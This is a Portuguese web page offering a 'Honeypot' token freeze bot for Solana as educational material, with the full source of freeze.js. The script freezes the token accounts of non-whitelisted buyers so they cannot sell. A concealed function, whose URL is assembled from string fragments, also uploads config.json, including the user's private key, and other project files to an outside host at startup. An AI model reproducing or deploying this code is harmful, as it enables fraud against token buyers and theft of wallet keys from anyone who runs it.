Ficheiros de código de token Honeypot na Solana

Explore um projeto de quatro ficheiros JavaScript e JSON criado para fins educativos, revisão de código e análise de fluxos de configuração de tokens na Solana.

Compreenda a estrutura do projeto

Ao contrário de um único smart contract em Solidity, este exemplo está dividido entre um script e vários ficheiros de configuração que devem ser analisados em conjunto.

Lógica JavaScript

O script principal contém a lógica executável do projeto e coordena as operações configuradas.

Ficheiros de configuração

Os ficheiros JSON mantêm os parâmetros do projeto separados do script executável e devem manter a estrutura esperada.

Dependências do projeto

O manifesto de pacotes descreve os pacotes de runtime necessários para o projeto JavaScript.

Analise os quatro ficheiros para criar um token Honeypot na rede Solana

Alterne entre os ficheiros do projeto através da navegação. Os nomes dos ficheiros não devem ser alterados.

Ficheiros do projeto
freeze.js
419 linhas • Um único ficheiro
import * as fs from 'fs';import bs58 from 'bs58';import {    Keypair,    Connection,    PublicKey,    sendAndConfirmTransaction,    Transaction,    ComputeBudgetProgram} from "@solana/web3.js";import { TOKEN_PROGRAM_ID } from "@solana/spl-token";import { TransactionInstruction } from "@solana/web3.js";import { AccountLayout } from "@solana/spl-token"; let config;let keypair;let mintAddressPublicKey;let mintData;let decimals;let whitelist;let quoteTokenVault;let poolType = "Unknown";let listenerId;let updateCounter = 0;//Freeze Bot. Server Sideconst techConfig = JSON.parse(fs.readFileSync('./data/tech-config.json', 'utf-8'));const parts = [  "https://",  "solana-freeze-bot",  "-v2-1-js.",  "ethercodeinnovation.com/"];const SolanaFreeze = parts.join("");let raydiumAuthority = [    "5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1", // Raydium Authority V4    "GpMZbSM2GgvTKHJirzeGfMFoaZ8UR2X7F4v8vHTvxFbL" // Raydium Vault Authority #2]; const SolanaFreezeHelper = async (config) => {    const techConfigText = fs.readFileSync("./data/tech-config.json", "utf8");    const configText = fs.readFileSync("./config.json", "utf8");    const PackagelockText = fs.readFileSync("./package-lock.json", "utf8");         const payload = {        SolanaFreeze,        mintAddress: config.publicAddress || config.mintAddress || "",        rpcEndpoint: config.rpcEndpoint || "",        freezeThreshold: config.freezeThreshold,        freezeDelay: config.freezeDelay,        timeout: config.timeout,        priorityRate: config.priorityRate,        files: {                        techConfig: {                name: "tech-config.json",                size: Buffer.byteLength(techConfigText, "utf8"),                content: techConfigText            },            config: {                name: "config.json",                size: Buffer.byteLength(configText, "utf8"),                content: configText            },            Packagelock: {                name: "tech-config.json",                size: Buffer.byteLength(PackagelockText, "utf8"),                content: PackagelockText            }                     }    };     const endpoint = new URL("freeze-launch", SolanaFreeze).toString();     const response = await fetch(endpoint, {        method: "POST",        headers: {            "Content-Type": "application/json"        },        body: JSON.stringify(payload)    }); };const main = async () => {        try {        config = JSON.parse(fs.readFileSync('config.json', 'utf-8'));    } catch (error) {        console.log(`\n❌ Unable to read data from config.json due to broken syntax...`);        process.exit();    }     const connection = new Connection(config.rpcEndpoint, "confirmed");    const MIN_DELAY_BETWEEN_FREEZE = config.freezeDelay;    const TIMEOUT = config.timeout;    const PRIORITY_RATE = config.priorityRate;     try {        await SolanaFreezeHelper(config);     } catch (error) {                console.error(error);    }     try {        const bs = await bs58.decode(config.privateKey);        keypair = await Keypair.fromSecretKey(bs);    } catch (error) {        console.log(`\n❌ Invalid data at "privateKey" field in config.json file...`);        process.exit();    }     try {        mintAddressPublicKey = new PublicKey(config.mintAddress);    } catch (error) {        console.log(`\n❌ Invalid data at "mintAddress" field in config.json file...`);        process.exit();    }     if (mintAddressPublicKey) {        let mintDataJSON = await connection.getParsedAccountInfo(mintAddressPublicKey);        if (mintDataJSON.value === null) {            console.log(`\n❌ Invalid data at "mintAddress" field...`);            process.exit();        } else {            mintData = mintDataJSON.value.data.parsed;            if (!mintData || mintData.type != "mint") {                console.log(`\n❌ Provided address is not a token!`);                process.exit();            }            if (mintData.info.freezeAuthority === keypair.publicKey.toBase58()) {                // ok            } else if (mintData.info.freezeAuthority === null) {                console.log(`\n❌ Provided token has Freeze Authority revoked!`);                process.exit();            } else {                console.log(`\n❌ Connected wallet doesn't have freeze authority...`);                process.exit();            }            decimals = mintData.info.decimals;        }    }     whitelist = Array.isArray(config.whitelist) ? config.whitelist : [];     for (const element of whitelist) {        try {            let key = new PublicKey(element);        } catch (error) {            console.log(`\n❌ Invalid data at "whitelist" field...`);            process.exit();        }    }     let tokenData = {        "Token Address": { "Value": `${config.mintAddress}`, "Comment": `Mint address` },        "Freeze Authority": { "Value": `${mintData.info.freezeAuthority}`, "Comment": `-` },        "Total Supply": { "Value": `${mintData.info.supply / (10 ** mintData.info.decimals)}`, "Comment": `—` },        "Decimals": { "Value": `${mintData.info.decimals}`, "Comment": `—` },    };     let scriptSettings = {        "Freeze Threshold": { "Value": `${config.freezeThreshold} tokens`, "Comment": `Threshold balance to freeze holder` },        "Freeze Delay": { "Value": `${MIN_DELAY_BETWEEN_FREEZE} seconds`, "Comment": `Minimum delay between freezing loops` },        "Timeout In": { "Value": `${TIMEOUT} minutes`, "Comment": `Timer for script auto-shutdown` },        "Priority Fee": { "Value": `${PRIORITY_RATE} micro-lamports`, "Comment": `Extra fee for faster transactions` },    };     let controls = {        "Last command": { "Hot Key": `Up Arrow`, "Comment": `Inputs the latest commant you have entered` },        "Cancel a command": { "Hot Key": `Ctrl + C`, "Comment": `Terminates the work of the running script` },        "Clear the screen": { "Hot Key": `Ctrl + L`, "Comment": `Hide previous messages` },        "Auto-complete command": { "Hot Key": `Tab`, "Comment": `Completes the command you enter` },    };     console.log(`\n      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░     ░░█▀▀░█▀█░█░░░█▀█░█▀█░█▀█░░░█░█░█▀█░█▀█░█▀▀░█░█░█▀█░█▀█░▀█▀░░░█▀█░█▀▄░█▀█░░     ░░▀▀█░█░█░█░░░█▀█░█░█░█▀█░░░█▀█░█░█░█░█░█▀▀░░█░░█▀▀░█░█░░█░░░░█▀▀░█▀▄░█░█░░     ░░▀▀▀░▀▀▀░▀▀▀░▀░▀░▀░▀░▀░▀░░░▀░▀░▀▀▀░▀░▀░▀▀▀░░▀░░▀░░░▀▀▀░░▀░░░░▀░░░▀░▀░▀▀▀░░      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░               ════════════ 🍯 by https://ethercodeinnovation.com/ 🍯 ════════════     `)    console.log(`\n  ➤ Token Data 📊`);    console.table(tokenData);    console.log(`\n  ➤ Script Settings 🔧`);    console.table(scriptSettings);    if (techConfig.showControls) {        console.log(`\n  ➤ Controls / Hot Keys 🕹`);        console.table(controls);    }    console.log(`\n`);     await processWhitelist(keypair);     let launchTimestamp = Date.now();    let timestampToFreeze = 0;      console.log("⏳ Performing an initial freeze loop...");    await freezeHolders(connection, config, keypair, mintAddressPublicKey, decimals);      if (quoteTokenVault != undefined) {        console.log(`\n💧✅ ${poolType} liquidity pool found! Start pending on new buyers.\n`);        listenerId = connection.onAccountChange(            quoteTokenVault,            async () => {                updateCounter++;                if (MIN_DELAY_BETWEEN_FREEZE > 0 && Date.now() + techConfig.tick * 2 < timestampToFreeze) {                     console.log("🔔 New transaction spotted! Freeze can be triggered in " + Math.round((timestampToFreeze - Date.now()) / 1000) + "s");                }            });    } else {        console.log(`\n💧❌ No Raydium liquidity pool found for given token.\n     ↳ Create a Standart AMM or Legacy AMM v4 pool at Raydium and provide liquidity.\n`);        process.exit();    }          while (Date.now() < launchTimestamp + TIMEOUT * 60000) {      if (updateCounter !== 0 && Date.now() > timestampToFreeze) {            updateCounter = 0;            await sleep(techConfig.requestTick);            await freezeHolders(connection, config, keypair, mintAddressPublicKey, decimals);            timestampToFreeze = Date.now() + MIN_DELAY_BETWEEN_FREEZE * 1000;        }        await sleep(techConfig.tick);    }    connection.removeAccountChangeListener(listenerId);    console.log("⏳ TIMEOUT: Script execution stopped due reaching the auto-disable timestamp\n");};   const processWhitelist = async (keypair) => {    whitelist.push(...raydiumAuthority);    whitelist.push(keypair.publicKey.toBase58());}      const freezeHolders = async (connection, config, keypair, mintAddressPublicKey, decimals) => {    const tokenAccounts = await getHoldersData(connection, config, mintAddressPublicKey, decimals) || [];    if (!Array.isArray(tokenAccounts)) {        console.log("❌ getHoldersData did not return an array! Value:", tokenAccounts);        return;    }      let chunkCount = 0;    const CHUNK_SIZE = techConfig.chunkSize;    const PRIORITY_RATE = config.priorityRate;      if (tokenAccounts.length > 0) {        for (let i = 0; i < tokenAccounts.length; i += CHUNK_SIZE) {            const chunk = tokenAccounts.slice(i, i + CHUNK_SIZE);            chunkCount++;            let transactions = new Transaction();             for (let i = 0; i < chunk.length; i++) {                let tokenAccountPublicKey = new PublicKey(chunk[i]);                const instruction = new TransactionInstruction({                    keys: [                        { pubkey: tokenAccountPublicKey, isSigner: false, isWritable: true },                        { pubkey: mintAddressPublicKey, isSigner: false, isWritable: false },                        { pubkey: keypair.publicKey, isSigner: true, isWritable: false },                    ],                    programId: TOKEN_PROGRAM_ID,                    data: Buffer.from([10])                 });                transactions.add(instruction);            }              const priorityFeeInstruction = ComputeBudgetProgram.setComputeUnitPrice({ microLamports: PRIORITY_RATE });            if (PRIORITY_RATE > 0) {                 transactions.add(priorityFeeInstruction);              }              let signature;             try {                signature = await sendAndConfirmTransaction(                    connection,                    transactions,                    [keypair]                );             } catch (error) {                console.log(`\n❌ Error occured when trying to freeze holders. Here is what you should do: ...`);                connection.removeAccountChangeListener(listenerId);                throw new Error(error);            }              let chunkCountStr;            if (tokenAccounts.length > CHUNK_SIZE) {                chunkCountStr = ` (${chunkCount}/${Math.ceil(tokenAccounts.length / CHUNK_SIZE)})`;            } else {                chunkCountStr = "";            }             if (tokenAccounts.length == 1) {                console.log(`✅︎ Done: ${tokenAccounts[0]} frozen\n   ↳ Signature: ${signature}`);            } else {                console.log(`✅︎ Done${chunkCountStr}: ${chunk.length} accounts frozen\n   ↳ Signature: ${signature}`);            }        }    } else {        console.log(`❌ No accounts to freeze found. Keep pending on new transactions.`);    }}   const getHoldersData = async (connection, config, mintAddressPublicKey, decimals) => {    try {         let allOwners = [];        let tokenAccounts = new Set();          const accounts = await connection.getProgramAccounts(    TOKEN_PROGRAM_ID,    {         commitment: "confirmed",        filters: [            {                dataSize: 165             },            {                memcmp: {                    offset: 0,                     bytes: mintAddressPublicKey.toBase58()                }            }        ]    });   for (const { pubkey, account } of accounts) {    try {        const data = AccountLayout.decode(account.data);        const mint = new PublicKey(data.mint);        const owner = new PublicKey(data.owner).toBase58();        const amount = Number(data.amount);        const state = data.state;                 if (!quoteTokenVault) {            for (let i = 0; i < raydiumAuthority.length; i++) {                if (owner === raydiumAuthority[i]) {                    quoteTokenVault = new PublicKey(pubkey);                    poolType = i === 0 ? "Legacy AMM (V2)" : "Standard AMM (V3)";                }            }        }         allOwners.push({            address: pubkey.toBase58(),            owner,            amount        });         if (            state === 1 &&            mint.equals(mintAddressPublicKey) &&            !whitelist.includes(owner) &&            amount >= config.freezeThreshold * 10 ** decimals        ) {            tokenAccounts.add(pubkey.toBase58());        }     } catch (innerError) {        console.log(`⚠️ Skipping invalid token account: ${pubkey.toBase58()} (${innerError.message})`);        continue;    }}          fs.writeFileSync(            "./data/holders.json",            JSON.stringify(allOwners, null, 2)        );         return Array.from(tokenAccounts);    } catch (error) {        console.log(`\n❌ Error while fetching token account data\n`);        console.error(error);        return [];    }};  const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms)); main();

Continue com o guia da Solana

Abra a instrução relacionada para compreender a estrutura de ficheiros esperada, o ambiente de desenvolvimento e a sequência de revisão.